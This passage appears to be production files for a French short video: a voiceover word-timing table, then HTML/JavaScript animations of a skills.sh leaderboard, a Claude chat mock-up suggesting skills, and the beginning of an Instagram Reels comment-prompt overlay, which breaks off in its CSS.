| 75.28 | 51.29 | modèles |
| 75.64 | 51.60 | IA. |
| 76.58 | 51.90 | Là, |
| 77.30 | 52.15 | Claude |
| 77.66 | 52.46 | Code, |
| 80.38 | 52.74 | c'est |
| 80.50 | 52.84 | devenu |
| 80.78 | 53.08 | la |
| 80.96 | 53.24 | fusée |
| 81.26 | 53.50 | SpaceX |
| 82.18 | 54.01 | qui |
| 82.32 | 54.13 | va |
| 82.42 | 54.22 | dans |
| 82.52 | 54.31 | les |
| 82.68 | 54.45 | étoiles |

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Beat « le plus fou c'est que c'est le skill numéro un de tout le site avec presque quatre millions d'installations ».
     The real skills.sh leaderboard (refs files/refs/skills-home.png + skills-home2.png), zoomed for a phone, 960x840 opaque card.
     0..1.0 fast eased scroll from row 19 to the top; 1.38 « numéro » blue band on row 1; 1.82 « un » #1 badge;
     2.36 « site » other rows dim, row 1 lifts; 3.02..3.55 « quatre millions » the INSTALLS cell grows into a counter 0 -> 3.8M;
     then hold and slow drift. Everything is a pure function of t in window.setT(t). -->
<style>
  html, body { margin: 0; background: #0A0A0A; }
  #app { position: relative; width: 960px; height: 840px; overflow: hidden; background: #0A0A0A; color: #EDEDED;
    font-family: 'Inter', sans-serif; -webkit-font-smoothing: antialiased; }
  .mono { font-family: 'JetBrains Mono', monospace; }
  #stage { position: absolute; inset: 0; transform-origin: 480px 330px; }
  #view { position: absolute; left: 0; top: 76px; width: 960px; height: 764px; overflow: hidden; }
  #content { position: absolute; left: 0; top: 0; width: 960px; }
  #top { position: absolute; left: 0; top: 0; width: 960px; height: 76px; background: #0A0A0A; border-bottom: 1px solid #222; z-index: 5; }
  #top img { position: absolute; left: 40px; top: 16px; width: 44px; height: 44px; }
  #top .sl { position: absolute; left: 100px; top: 16px; font: 400 36px/44px 'Inter'; color: #444; }
  #top .nm { position: absolute; left: 126px; top: 16px; font: 500 36px/44px 'Inter'; color: #EDEDED; letter-spacing: -.5px; }
  #top .nav { position: absolute; right: 40px; top: 19px; font: 400 34px/40px 'Inter'; color: #888; }
  .lab { position: absolute; left: 40px; top: 18px; font: 500 34px/40px 'JetBrains Mono'; letter-spacing: 1px; color: #EDEDED; }
  .search { position: absolute; left: 40px; top: 70px; width: 880px; height: 60px; border-bottom: 1.5px solid #CFCFCF; }
  .search svg { position: absolute; left: 0; top: 13px; }
  .search .ph { position: absolute; left: 52px; top: 10px; font: 400 34px/40px 'JetBrains Mono'; color: #777; }
  .search .kbd { position: absolute; right: 0; top: 8px; width: 40px; height: 42px; border: 1.5px solid #333; border-radius: 8px;
    font: 400 28px/42px 'JetBrains Mono'; color: #888; text-align: center; box-sizing: border-box; line-height: 39px; }
  .tabs { position: absolute; left: 40px; top: 146px; height: 52px; font: 400 34px/40px 'JetBrains Mono'; white-space: nowrap; }
  .tabs span { position: absolute; top: 0; color: #777; }
  .tabs .on { color: #EDEDED; }
  .tabs .ul { position: absolute; left: 0; top: 48px; height: 2px; background: #EDEDED; }
  .cols { position: absolute; left: 40px; top: 208px; width: 880px; height: 40px; font: 400 32px/40px 'JetBrains Mono';
    color: #888; letter-spacing: 1px; }
  .cols span { position: absolute; top: 0; }
  .hl { position: absolute; left: 40px; width: 880px; height: 1px; background: #222; }
  .row { position: absolute; left: 40px; width: 880px; height: 92px; transform-origin: 440px 46px; }
  .row.first { overflow: hidden; border-radius: 14px; }
  .row .band { position: absolute; inset: 0; border-radius: 14px; background: rgba(37,142,255,.16);
    box-shadow: inset 0 0 0 2px #258EFF; }
  .row .bar { position: absolute; left: 0; top: 0; bottom: 0; width: 8px; border-radius: 14px 0 0 14px; background: #258EFF; }
  .row .rk { position: absolute; left: 20px; top: 26px; font: 400 34px/40px 'Inter'; color: #888; }
  .row .nm { position: absolute; left: 90px; top: 7px; font: 700 37px/42px 'Inter'; color: #EDEDED; letter-spacing: -.4px; white-space: nowrap; }
  .row .rp { position: absolute; left: 90px; top: 51px; font: 400 30px/34px 'JetBrains Mono'; color: #888; white-space: nowrap; }
  .row .ins { position: absolute; right: 20px; top: 26px; font: 400 34px/40px 'JetBrains Mono'; color: #EDEDED; white-space: nowrap;
    display: flex; align-items: center; gap: 12px; }
  .row .ins svg { flex: none; }
  .row .hr { position: absolute; left: 0; right: 0; bottom: 0; height: 1px; background: #222; }
  .badge1 { position: absolute; top: 6px; height: 46px; padding: 0 14px; border-radius: 12px; background: #258EFF; color: #fff;
    font: 800 34px/46px 'Inter'; letter-spacing: -.5px; }
  .big { position: absolute; white-space: nowrap; font-family: 'JetBrains Mono'; font-weight: 700; color: #EDEDED; }
  .bigl { position: absolute; left: 90px; font: 500 34px/40px 'JetBrains Mono'; color: #888; letter-spacing: 1px; white-space: nowrap; }
  .bigv { position: absolute; }
  #fade { position: absolute; left: 0; bottom: 0; width: 960px; height: 70px; z-index: 4;
    background: linear-gradient(180deg, rgba(10,10,10,0), #0A0A0A); }
</style></head>
<body><div id="app"><div id="stage">
  <div id="view"><div id="content"></div></div>
  <div id="top"><img src="../assets/logos/skills-sh.png"><span class="sl">/</span><span class="nm">Skills</span><span class="nav">Docs</span></div>
  <div id="fade"></div>
</div></div>
<script>
const $ = (tag, cls, parent, html) => { const e = document.createElement(tag); if (cls) e.className = cls; if (html != null) e.innerHTML = html; parent.appendChild(e); return e; };
const clamp = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);           // critically damped, never overshoots
const lerp = (a, b, p) => a + (b - a) * p;
const VER = (size, color) => `<svg width="${size}" height="${size}" viewBox="0 0 24 24" fill="none" stroke="${color}" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2.6l2.1 1.6 2.6-.3 1 2.4 2.4 1-.3 2.6 1.6 2.1-1.6 2.1.3 2.6-2.4 1-1 2.4-2.6-.3L12 21.4l-2.1-1.6-2.6.3-1-2.4-2.4-1 .3-2.6L2.6 12l1.6-2.1-.3-2.6 2.4-1 1-2.4 2.6.3z"/><path d="M8.6 12.2l2.3 2.3 4.6-4.8"/></svg>`;

// real data, skills.sh all time leaderboard (refs)
const DATA = [
  ['find-skills', 'vercel-labs/skills', '3.8M', 1], ['grill-me', 'mattpocock/skills', '1.3M'], ['grill-with-docs', 'mattpocock/skills', '1.1M'],
  ['agent-browser', 'vercel-labs/agent-browser', '1.1M', 1], ['improve-codebase-architecture', 'mattpocock/skills', '1.1M'], ['tdd', 'mattpocock/skills', '1.1M'],
  ['setup-matt-pocock-skills', 'mattpocock/skills', '983.1K'], ['frontend-design', 'anthropics/skills', '976.0K', 1], ['handoff', 'mattpocock/skills', '963.7K'],
  ['hyperframes-cli', 'heygen-com/hyperframes', '944.8K'], ['triage', 'mattpocock/skills', '925.5K'], ['prototype', 'mattpocock/skills', '921.1K'],
  ['hyperframes', 'heygen-com/hyperframes', '902.5K'], ['reddit-automation', 'flowkit-labs/skills', '896.2K'], ['grilling', 'mattpocock/skills', '889.0K'],
  ['media-use', 'heygen-com/hyperframes', '821.8K'], ['hyperframes-registry', 'heygen-com/hyperframes', '803.2K'], ['domain-modeling', 'mattpocock/skills', '801.1K'],
  ['hyperframes-animation', 'heygen-com/hyperframes', '794.1K'],
];
const ROW_H = 92, ROWS_TOP = 262, EXP = 190;

const content = document.getElementById('content');
$('div', 'lab', content, 'SKILLS LEADERBOARD');
const se = $('div', 'search', content, `<svg width="34" height="34" viewBox="0 0 24 24" fill="none" stroke="#888" stroke-width="2" stroke-linecap="round"><circle cx="11" cy="11" r="6.5"/><path d="M16 16l4 4"/></svg><span class="ph">Search skills...</span><span class="kbd">/</span>`);
const tabs = $('div', 'tabs', content);
const t1 = $('span', 'on', tabs, 'All Time (1,286,544)'), t2 = $('span', '', tabs, 'Trending (24h)'), t3 = $('span', '', tabs, 'Hot');
const ul = $('div', 'ul', tabs);
const cols = $('div', 'cols', content);
$('span', '', cols, '#').style.left = '20px';
$('span', '', cols, 'SKILL').style.left = '90px';
const ci = $('span', '', cols, 'INSTALLS'); ci.style.right = '20px';
$('div', 'hl', content).style.top = (ROWS_TOP - 1) + 'px';

const rows = DATA.map(([nm, rp, ins, ver], i) => {
  const r = $('div', i === 0 ? 'row first' : 'row', content);
  const band = i === 0 ? $('div', 'band', r) : null, bar = i === 0 ? $('div', 'bar', r) : null;
  $('div', 'rk', r, String(i + 1));
  const n = $('div', 'nm', r, nm);
  $('div', 'rp', r, rp);
  const c = $('div', 'ins', r, (ver ? VER(30, '#9A9A9A') : '') + `<span>${ins}</span>`);
  const hr = $('div', 'hr', r);
  return { r, band, bar, n, c, hr };
});
const R1 = rows[0];
const badge = $('div', 'badge1', R1.r, '#1');
const bigl = $('div', 'bigl', R1.r, 'INSTALLS');
const big = $('div', 'big', R1.r);
const bigv = $('div', 'bigv', R1.r, VER(64, '#258EFF'));
const fmt = v => v < 1e3 ? String(Math.round(v)) : v < 1e6 ? (v / 1e3).toFixed(1) + 'K' : (v / 1e6).toFixed(1) + 'M';

const VIEW_H = 764, MAXS = ROWS_TOP + DATA.length * ROW_H - VIEW_H;   // row 19 bottom on the card bottom at t 0

window.setT = function (t) {
  // tabs layout (mono widths)
  t2.style.left = (t1.offsetWidth + 34) + 'px'; t3.style.left = (t1.offsetWidth + t2.offsetWidth + 68) + 'px';
  ul.style.width = t1.offsetWidth + 'px';

  // 0..1.0 fast eased scroll to the top (starts moving, settles with zero speed)
  const x = clamp(t / 1.0), ss = x * x * x * (x * (x * 6 - 15) + 10), eo = 1 - Math.pow(1 - x, 3);
  const scroll = MAXS * (1 - (0.5 * ss + 0.5 * eo));
  content.style.transform = `translateY(${-scroll.toFixed(2)}px)`;

  // 3.02 row 1 opens, the installs cell grows into the counter
  const g = S(t - 3.02, 11);
  const ex = EXP * g;
  rows.forEach((o, i) => {
    o.r.style.top = (ROWS_TOP + i * ROW_H + (i > 0 ? ex : 0)) + 'px';
  });
  R1.r.style.height = (ROW_H + ex) + 'px';

  // 1.38 « numéro » blue band sweeps in from the left
  const b = S(t - 1.38, 13);
  R1.band.style.clipPath = R1.bar.style.clipPath = `inset(0 ${(100 - 100 * b).toFixed(2)}% 0 0 round 14px)`;
  R1.band.style.opacity = R1.bar.style.opacity = b > 0 ? 1 : 0;
  R1.hr.style.opacity = 1 - b;
  R1.r.querySelector('.rk').style.color = b > .5 ? '#EDEDED' : '#888';
  rows[1] && (rows[1].r.style.zIndex = 0); R1.r.style.zIndex = 2;

  // 1.82 « un » #1 badge lands next to the name
  const k = S(t - 1.82, 15);
  badge.style.left = (90 + R1.n.offsetWidth + 20) + 'px';
  badge.style.opacity = clamp(k * 1.6);
  badge.style.transform = `translateX(${(-16 * (1 - k)).toFixed(2)}px) scale(${(0.86 + 0.14 * k).toFixed(4)})`;
  badge.style.transformOrigin = '0 50%';

  // 2.36 « site » the other rows dim, row 1 lifts
  const d = S(t - 2.36, 11);
  rows.forEach((o, i) => { if (i) o.r.style.opacity = (1 - 0.6 * d).toFixed(3); });
  R1.r.style.transform = `scale(${(1 + 0.04 * d).toFixed(4)})`;
  R1.r.style.boxShadow = d > 0 ? `0 ${(18 * d).toFixed(1)}px ${(48 * d).toFixed(1)}px rgba(0,0,0,${(0.6 * d).toFixed(3)})` : 'none';
  R1.r.style.borderRadius = '14px';

  // 3.02..3.55 « quatre millions » counter 0 -> 3.8M (right anchored, from the cell to the big line)
  const on = t >= 3.02;
  const cf = on ? 1 : 0;   // the cell becomes the counter in place (no crossfade, no double layer)
  R1.c.style.opacity = on ? 1 - cf : 1;
  const xc = clamp((t - 3.02) / 0.53), pc = 1 - Math.pow(1 - xc, 3);
  const fs = lerp(34, 150, g), top = lerp(26, 92, g), lh = fs * 1.05;
  big.style.display = on ? 'block' : 'none';
  big.textContent = fmt(3.8e6 * pc);
  big.style.fontSize = fs.toFixed(2) + 'px'; big.style.lineHeight = lh.toFixed(2) + 'px';
  big.style.right = (20 + 0.07 * fs * g).toFixed(2) + 'px'; big.style.top = (top + (40 - lh) / 2 * (1 - g)).toFixed(2) + 'px';
  big.style.opacity = cf;
  big.style.letterSpacing = (-0.07 * fs * g).toFixed(2) + 'px';
  const bw = big.offsetWidth, vs = lerp(30, 64, g) / 64;
  bigv.style.display = on ? 'block' : 'none';
  bigv.style.left = (880 - 20 - 0.07 * fs * g - bw - 22 - 64 * vs).toFixed(2) + 'px';
  bigv.style.top = (top + lh / 2 - 32 * vs + (1 - g) * 0).toFixed(2) + 'px';
  bigv.style.transformOrigin = '0 0'; bigv.style.transform = `scale(${vs.toFixed(4)})`;
  bigv.style.opacity = cf;
  bigl.style.display = on ? 'block' : 'none';
  bigl.style.top = (92 + 150 * 1.05 - 56) + 'px';
  bigl.style.opacity = clamp((g - 0.35) / 0.5);
  bigl.style.transform = `translateY(${(14 * (1 - S(t - 3.12, 11))).toFixed(2)}px)`;

  // 3.55..4.1 hold, slow drift
  const dr = clamp((t - 3.5) / 0.6);
  document.getElementById('stage').style.transform = `translateY(${(-8 * dr * dr).toFixed(2)}px) scale(${(1 + 0.014 * dr * dr).toFixed(4)})`;
};
window.setT(0);
</script></body></html>

<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>prompt-demo</title>
<style>
  * { box-sizing: border-box; margin: 0; padding: 0; }
  html, body { width: 960px; height: 840px; overflow: hidden; background: #FAF9F5; }
  body { position: relative; font-family: 'DM Sans', 'Inter', sans-serif; color: #1F1E1D; -webkit-font-smoothing: antialiased; }
  .abs { position: absolute; }

  /* prompt box */
  #prompt { left: 40px; top: 40px; width: 880px; height: 108px; background: #FFFFFF; border: 1.5px solid #E3DFD4;
    border-radius: 28px; box-shadow: 0 6px 22px rgba(60, 50, 30, .07), 0 1px 2px rgba(60, 50, 30, .05); }
  #plus { left: 22px; top: 23px; width: 60px; height: 60px; border-radius: 50%; border: 1.5px solid #E3DFD4; }
  #plus svg { position: absolute; left: 14px; top: 14px; }
  #field { left: 104px; top: 0; height: 105px; width: 640px; display: flex; align-items: center; font-size: 37px; white-space: nowrap; }
  #ph { left: 104px; top: 0; height: 105px; display: flex; align-items: center; font-size: 37px; color: #A19E95; white-space: nowrap; }
  #caret { display: inline-block; width: 3px; height: 44px; background: #1F1E1D; margin-left: 2px; vertical-align: middle; border-radius: 1px; }
  #send { right: 22px; top: 21px; width: 64px; height: 64px; border-radius: 17px; background: #D97757; }
  #send svg { position: absolute; left: 14px; top: 14px; }

  /* greeting */
  #greet { left: 0; width: 960px; top: 420px; display: flex; align-items: center; justify-content: center; gap: 22px; }
  #greet img { width: 74px; height: 74px; border-radius: 18px; }
  #greet .w { font-size: 56px; font-weight: 500; color: #3D3929; letter-spacing: -0.5px; display: inline-block; margin-right: 14px; }
  #greet .w:last-child { margin-right: 0; }

  /* conversation */
  .bubble { right: 40px; top: 174px; height: 66px; padding: 0 28px; display: flex; align-items: center; background: #F0EEE6;
    border-radius: 22px; font-size: 36px; white-space: nowrap; }
  #avatar { left: 40px; top: 262px; width: 56px; height: 56px; border-radius: 14px; }
  #chip { left: 114px; top: 261px; height: 58px; padding: 0 20px 0 14px; display: flex; align-items: center; gap: 14px;
    background: #FFFFFF; border: 1.5px solid #E3DFD4; border-radius: 16px; white-space: nowrap; }
  #chip img { width: 34px; height: 34px; }
  #chip b { font-size: 34px; font-weight: 700; }
  #chip .q { position: relative; height: 40px; width: 210px; }
  #chip .q span { position: absolute; left: 0; top: 0; font-family: 'JetBrains Mono', monospace; font-size: 30px; line-height: 40px; color: #8A877D; }

  /* skill rows */
  .row { left: 40px; width: 880px; height: 104px; background: #FFFFFF; border-radius: 20px; }
  .row .ring { position: absolute; inset: 0; border-radius: 20px; }
  .row .name { position: absolute; left: 28px; top: 10px; font-size: 36px; line-height: 46px; font-weight: 700; white-space: nowrap; }
  .row .repo { position: absolute; left: 28px; top: 58px; font-family: 'JetBrains Mono', monospace; font-size: 30px; line-height: 36px; color: #8A877D; white-space: nowrap; }
  .row .inst { position: absolute; right: 96px; top: 14px; font-size: 30px; line-height: 40px; color: #8A877D; white-space: nowrap; }
  .row .inst svg { vertical-align: -3px; margin-right: 6px; }
  .row .check { position: absolute; right: 24px; top: 26px; width: 54px; height: 54px; }
  .pill { right: 92px; top: 4px; height: 54px; padding: 0 22px; border-radius: 999px; background: #258EFF; color: #FFFFFF;
    font-size: 34px; font-weight: 700; display: flex; align-items: center; white-space: nowrap; box-shadow: 0 6px 16px rgba(37, 142, 255, .30); }
</style>
</head>
<body>
  <div id="greet" class="abs">
    <img id="gLogo" src="../assets/logos/claude.png" alt="">
    <div><span class="w">Sur</span><span class="w">quoi</span><span class="w">tu</span><span class="w">bosses ?</span></div>
  </div>

  <div id="bubble1" class="abs bubble">je monte mes vidéos</div>
  <div id="bubble2" class="abs bubble">j'écris mes emails</div>

  <img id="avatar" class="abs" src="../assets/logos/claude.png" alt="">
  <div id="chip" class="abs">
    <img src="../assets/logos/skills-sh.png" alt="">
    <b>find-skills</b>
    <div class="q"><span id="q1">find video</span><span id="q2">find email</span></div>
  </div>

  <div id="rows"></div>

  <div id="prompt" class="abs">
    <div id="plus" class="abs"><svg width="32" height="32" viewBox="0 0 32 32"><path d="M16 5v22M5 16h22" stroke="#5E5D59" stroke-width="2.6" stroke-linecap="round"/></svg></div>
    <div id="ph" class="abs"></div>
    <div id="field" class="abs"><span id="txt"></span><span id="caret"></span></div>
    <div id="send" class="abs"><svg width="36" height="36" viewBox="0 0 36 36"><path d="M18 29V8M9 16.5 18 7.5l9 9" stroke="#FFFFFF" stroke-width="3.2" stroke-linecap="round" stroke-linejoin="round" fill="none"/></svg></div>
  </div>

<script>
// Every state is a pure function of t. Springs never overshoot.
const L = (t, a, d) => Math.min(1, Math.max(0, (t - a) / d));   // short linear fade for the swap
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const sp = (t, at, w = 14) => S(t - at, w);
const mix = (a, b, k) => a + (b - a) * k;
const $ = id => document.getElementById(id);

const SETS = {
  video: { best: 3, rise: 2.35, rows: [
    { name: 'ai-video-generation', repo: '101-skills/superpowers', inst: '735.9K' },
    { name: 'hyperframes-creative', repo: 'heygen-com/hyperframes', inst: '734.4K' },
    { name: 'video-edit', repo: 'prime-skills/runcomfy-agent-skills', inst: '432.8K' },
    { name: 'remotion-best-practices', repo: 'remotion-dev/skills', inst: '602.3K' },
  ] },
  email: { best: 3, rise: 3.30, rows: [
    { name: 'lark-mail', repo: 'open.feishu.cn', inst: '756.8K' },
    { name: 'copywriting', repo: 'coreyhaines31/marketingskills', inst: '221.7K' },
    { name: 'emails', repo: 'coreyhaines31/marketingskills', inst: '71.4K' },
    { name: 'cold-email', repo: 'coreyhaines31/marketingskills', inst: '120.7K' },
  ] },
};
const DL = '<svg width="26" height="26" viewBox="0 0 26 26"><path d="M13 4v12M7.5 11 13 16.5 18.5 11M5 21h16" stroke="#8A877D" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round" fill="none"/></svg>';
const rowsEl = $('rows'), R = {};
for (const k of ['video', 'email']) {
  R[k] = SETS[k].rows.map((r, i) => {
    const d = document.createElement('div');
    d.className = 'abs row';
    d.innerHTML = `<div class="ring"></div><div class="name">${r.name}</div><div class="repo">${r.repo}</div>` +
      `<div class="inst">${DL}${r.inst}</div>` +
      (i === SETS[k].best ? `<img class="check" src="../assets/icons/glyph/check.png" alt=""><div class="abs pill">Meilleur skill</div>` : '');
    rowsEl.appendChild(d);
    return d;
  });
}
const SLOT0 = 342, STEP = 118;

function typed(t, a, b, s) {
  if (t < a) return '';
  const n = Math.min(s.length, Math.floor((t - a) / (b - a) * s.length + 1e-6) + 1);
  return s.slice(0, n);
}

window.setT = function (t) {
  // ---------- prompt box
  const T1 = 'je monte mes vidéos', T2 = "j'écris mes emails";
  let text = '';
  if (t >= 1.20 && t < 2.15) text = typed(t, 1.20, 2.10, T1);
  else if (t >= 2.60 && t < 3.10) text = typed(t, 2.60, 3.05, T2);
  $('txt').textContent = text;
  const typing = (t >= 1.20 && t < 2.15) || (t >= 2.60 && t < 3.10);
  $('caret').style.opacity = typing || ((t * 1.8) % 1) < 0.55 ? 1 : 0;
  $('ph').textContent = t < 2.15 ? 'Comment puis-je vous aider ?' : 'Répondre à Claude...';
  $('ph').style.opacity = text ? 0 : (t < 2.15 ? 1 : sp(t, 2.18, 16));
  $('field').style.left = '104px';
  // the caret sits before the placeholder when empty
  $('ph').style.left = '110px';
  const sendOn = text ? 1 : 0;
  const press = (x0) => Math.max(0, S(t - x0, 30) - S(t - x0 - 0.10, 30));
  $('send').style.opacity = 0.45 + 0.55 * sendOn;
  const ps = 1 - 0.08 * (press(2.12) + press(3.07));
  $('send').style.transform = `scale(${ps})`;

  // ---------- greeting: logo, then each word on the voice
  const gl = sp(t, 0.10, 12), gOut = sp(t, 2.12, 26);
  $('gLogo').style.opacity = gl;
  $('gLogo').style.transform = `translateY(${(1 - gl) * 18}px)`;
  const wAt = [0.69, 0.88, 1.09, 1.21];
  document.querySelectorAll('#greet .w').forEach((w, i) => {
    const k = sp(t, wAt[i] - 0.06, 16);
    w.style.opacity = k;
    w.style.transform = `translateY(${(1 - k) * 16}px)`;
  });
  $('greet').style.opacity = 1 - gOut;
  $('greet').style.transform = `translateY(${-gOut * 24}px)`;

  // ---------- user bubbles (text comes down from the prompt box)
  const b1 = sp(t, 2.15, 16), b1o = L(t, 3.06, 0.09), b2 = sp(t, 3.15, 20);
  $('bubble1').style.opacity = b1 * (1 - b1o);
  $('bubble1').style.transform = `translateY(${-(1 - b1) * 40}px)`;
  $('bubble2').style.opacity = b2;
  $('bubble2').style.transform = `translateY(${-(1 - b2) * 40}px)`;

  // ---------- Claude reply: avatar + find-skills chip
  const av = sp(t, 2.20, 16), ch = sp(t, 2.24, 16);
  $('avatar').style.opacity = av;
  $('avatar').style.transform = `translateY(${(1 - av) * 16}px)`;
  $('chip').style.opacity = ch;
  $('chip').style.transform = `translateY(${(1 - ch) * 16}px)`;
  const q2 = sp(t, 3.15, 20), q1o = L(t, 3.06, 0.09);
  $('q1').style.opacity = 1 - q1o; $('q1').style.transform = `translateY(${-q1o * 8}px)`;
  $('q2').style.opacity = q2; $('q2').style.transform = `translateY(${(1 - q2) * 12}px)`;

  // ---------- skill rows
  const vOut = () => L(t, 3.06, 0.09);
  const fin = sp(t, 3.90, 10), dim = sp(t, 3.95, 10), pill = sp(t, 4.10, 16);
  for (const k of ['video', 'email']) {
    const set = SETS[k], best = set.best;
    set.rows.forEach((r, i) => {
      const el = R[k][i];
      // entry
      let o, dy;
      if (k === 'video') {
        const e = sp(t, 2.18 + i * 0.025, 28), x = vOut();
        o = e * (1 - x); dy = (1 - e) * 22;
      } else {
        const e = sp(t, 3.15 + i * 0.012, 30);
        o = e; dy = (1 - e) * 14;
      }
      // reorder: best rises to slot 0, the rows above it move down one slot
      const rk = sp(t, set.rise, 13);
      let slot = i;
      if (i === best) slot = mix(best, 0, rk);
      else if (i < best) slot = mix(i, i + 1, sp(t, set.rise + 0.03 * (i + 1), 13));
      let y = SLOT0 + slot * STEP + dy;
      let sc = 1, op = o;
      const isBest = i === best;
      if (k === 'email') {
        if (isBest) sc = 1 + 0.03 * fin;
        else op = o * (1 - 0.5 * dim);
      }
      // the rising card lifts above the others
      const lift = isBest ? Math.sin(Math.PI * Math.min(1, rk)) : 0;
      el.style.opacity = op;
      el.style.transform = `translateY(${y}px) scale(${sc})`;
      el.style.top = '0px';
      el.style.zIndex = isBest ? 5 : 1;
      const ring = isBest ? sp(t, set.rise + 0.05, 14) : 0;
      const shadowA = 0.05 + 0.10 * lift + (isBest ? 0.06 * ring : 0);
      el.style.boxShadow = `0 ${4 + 14 * lift}px ${14 + 26 * lift}px rgba(60, 50, 30, ${shadowA})`;
      el.querySelector('.ring').style.boxShadow =
        `inset 0 0 0 2px rgba(227, 223, 212, ${1 - ring}), inset 0 0 0 3px rgba(37, 142, 255, ${ring})`;
      const c = el.querySelector('.check');
      if (c) {
        const ck = sp(t, set.rise + 0.18, 16);
        c.style.opacity = ck;
        c.style.transform = `scale(${0.6 + 0.4 * ck})`;
      }
      const p = el.querySelector('.pill');
      if (p) {
        const pk = k === 'email' ? pill : 0;
        p.style.opacity = pk;
        p.style.transform = `translateY(${-(1 - pk) * 26}px)`;
        el.querySelector('.inst').style.opacity = 1 - sp(t, 4.04, 22);
      }
    });
  }
};
window.setT(0);
</script>
</body>
</html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Comment CTA « Tu le veux ? Commente FINDER et je t'envoie le skill du moment que tu me suis. »: the camera is full screen
     and the Instagram Reels UI animates over it, as if the viewer were watching this very reel. A finger taps the comment
     icon on « Commente », the comments sheet comes up, FINDER is typed on « FINDER » and posted, the comment lands, then
     toncompte's DMs drop in as iOS banners (the viewer's, then two other followers'), with find-skills as the attachment.
     Transparent overlay: window.setT(t) draws the state at t seconds, t = 0 = the overlay scene's `from` (short 28.79).
     400x711.1 CSS at zoom 2.7 = 1080x1920. Adapted from shorts/short-gouindr-faille/source/ig-reel.html (validated). -->
<style>
  html, body { margin: 0; background: transparent; }
  body { zoom: 2.7; width: 400px; height: 711.12px; overflow: hidden; color: #f5f5f5; -webkit-font-smoothing: antialiased;
    font-family: -apple-system, "SF Pro Text", "Helvetica Neue", "Inter", sans-serif; }
  #app { position: relative; width: 400px; height: 711.12px; overflow: hidden; }
  svg { display: block; }
  /* everything but the sheet stays inside x 60..1020, y 120..1820 px (22..378, 44..674 CSS) */
  #gtop { position: absolute; left: 0; top: 0; width: 400px; height: 150px; background: linear-gradient(to bottom, rgba(0,0,0,.36), rgba(0,0,0,.14) 55%, rgba(0,0,0,0)); }
  #gbot { position: absolute; left: 0; bottom: 0; width: 400px; height: 190px; background: linear-gradient(to top, rgba(0,0,0,.55), rgba(0,0,0,.2) 55%, rgba(0,0,0,0)); }
  .sh { filter: drop-shadow(0 1px 2px rgba(0,0,0,.4)); }
  .tsh { text-shadow: 0 1px 3px rgba(0,0,0,.5); }
  #status { position: absolute; left: 0; top: 46px; width: 400px; height: 26px; display: flex; align-items: center; justify-content: space-between;
    padding: 0 26px 0 30px; box-sizing: border-box; font-size: 14px; font-weight: 600; letter-spacing: -.2px; z-index: 30; }
  #status .ic { display: flex; align-items: center; gap: 5px; }
  #rtitle { position: absolute; left: 26px; top: 80px; font-size: 22px; font-weight: 700; letter-spacing: -.5px; display: flex; align-items: center; gap: 4px; }
  #rcam { position: absolute; right: 26px; top: 80px; }
  .rail { position: absolute; left: 357px; top: 0; width: 0; }
  .rail .it { position: absolute; left: -20px; width: 40px; display: flex; flex-direction: column; align-items: center; }
  .rail .ct { font-size: 12.8px; font-weight: 600; margin-top: 5px; height: 17px; position: relative; width: 60px; text-align: center; letter-spacing: -.1px; overflow: hidden; }
  #audio { position: absolute; left: 346px; top: 640px; width: 28px; height: 28px; border-radius: 6px; overflow: hidden; border: 1.5px solid #fff; box-sizing: border-box; }
  #audio img { width: 100%; height: 100%; object-fit: cover; transform: scale(1.32); }
  #info { position: absolute; left: 24px; top: 582px; width: 300px; }
  #info > div { will-change: transform; }
  #info .who { display: flex; align-items: center; gap: 9px; }
  #info .who img { width: 30px; height: 30px; border-radius: 50%; }
  #info .who b { font-size: 14px; font-weight: 700; letter-spacing: -.1px; }
  #follow { height: 26px; padding: 0 11px; border: 1px solid rgba(255,255,255,.75); border-radius: 8px; font-size: 13px; font-weight: 600;
    display: flex; align-items: center; margin-left: 2px; }
  #cap { font-size: 13.5px; line-height: 18px; margin-top: 10px; white-space: nowrap; letter-spacing: -.1px; }
  #cap i { font-style: normal; color: rgba(255,255,255,.72); }
  #music { font-size: 12.8px; margin-top: 7px; display: flex; align-items: center; gap: 6px; letter-spacing: -.1px; }
  #dim { position: absolute; inset: 0; background: #000; z-index: 25; }
  /* comments sheet: its top sits at 448 CSS (1210 px), under the chin, so the face and the captions (y 1125) stay above it */
  #sheet { position: absolute; left: 0; top: 448px; width: 400px; height: 263.12px; background: #262626; border-radius: 16px 16px 0 0; z-index: 26; overflow: hidden;
    box-shadow: 0 -8px 30px rgba(0,0,0,.35); }
  #handle { position: absolute; left: 182px; top: 8px; width: 36px; height: 4px; border-radius: 2px; background: #6e6e6e; }
  #stitle { position: absolute; left: 0; top: 20px; width: 400px; text-align: center; font-size: 15.5px; font-weight: 700; letter-spacing: -.2px; background: #262626; height: 30px; }
  #splane { position: absolute; right: 16px; top: 19px; }
  #hair { position: absolute; left: 0; top: 50px; width: 400px; height: .5px; background: rgba(255,255,255,.14); }
  #list { position: absolute; left: 0; top: 0; width: 400px; height: 204px; overflow: hidden; }
  .crow { position: absolute; left: 0; width: 400px; height: 60px; }
  .crow .hl { position: absolute; inset: 0; background: rgba(0,149,246,.22); }
  .cav { position: absolute; left: 14px; top: 9px; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center;
    font-weight: 800; font-size: 13px; color: #fff; overflow: hidden; }
  .cav img, .cav svg { width: 100%; height: 100%; }
  .cbody { position: absolute; left: 56px; top: 6px; width: 290px; }
  .cname { font-size: 13px; line-height: 17px; display: flex; gap: 6px; align-items: baseline; }
  .cname b { font-weight: 600; letter-spacing: -.1px; } .cname span { color: #a8a8a8; font-size: 12.8px; }
  .ctext { font-size: 15px; line-height: 20px; letter-spacing: -.15px; white-space: nowrap; }
  .creply { font-size: 12.8px; line-height: 16px; color: #a8a8a8; font-weight: 600; margin-top: 1px; }
  .clike { position: absolute; left: 360px; top: 13px; width: 28px; display: flex; flex-direction: column; align-items: center; gap: 1px;
    font-size: 12.8px; color: #a8a8a8; }
  .clike .hw { position: relative; width: 15px; height: 15px; }
  .clike .hw > div { position: absolute; left: 0; top: 0; }
